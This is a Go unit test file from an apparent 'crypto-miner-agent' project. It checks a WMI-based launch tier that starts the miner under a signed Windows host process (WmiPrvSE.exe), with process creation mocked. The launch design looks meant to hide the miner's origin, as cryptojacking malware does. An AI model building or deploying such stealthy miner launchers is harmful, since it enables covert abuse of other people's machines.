46 lines
1.0 KiB
Go
46 lines
1.0 KiB
Go
package miner
|
|
|
|
import (
|
|
"context"
|
|
"runtime"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestRunWMITierMockProcessCreate(t *testing.T) {
|
|
if runtime.GOOS != "windows" {
|
|
t.Skip("wmi tier requires windows")
|
|
}
|
|
SetWMIProcessCreate(func(commandLine string) (uint32, error) {
|
|
if commandLine == "" {
|
|
t.Fatal("expected command line")
|
|
}
|
|
return 4242, nil
|
|
})
|
|
defer SetWMIProcessCreate(nil)
|
|
|
|
attempt := RunWMITier(context.Background(), config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
Wallet: "wallet",
|
|
MiningMode: "idle",
|
|
},
|
|
})
|
|
if !attempt.OK {
|
|
t.Fatalf("attempt=%+v", attempt)
|
|
}
|
|
if attempt.Details["signed_host"] != SignedHostProcess {
|
|
t.Fatalf("signed_host=%v", attempt.Details["signed_host"])
|
|
}
|
|
if attempt.Details["child_pid"] != uint32(4242) {
|
|
t.Fatalf("child_pid=%v", attempt.Details["child_pid"])
|
|
}
|
|
}
|
|
|
|
func TestParseWMICreatePID(t *testing.T) {
|
|
pid, err := parseWMICreatePID([]byte(`{"pid":12345,"host":"WmiPrvSE.exe"}`))
|
|
if err != nil || pid != 12345 {
|
|
t.Fatalf("pid=%d err=%v", pid, err)
|
|
}
|
|
}
|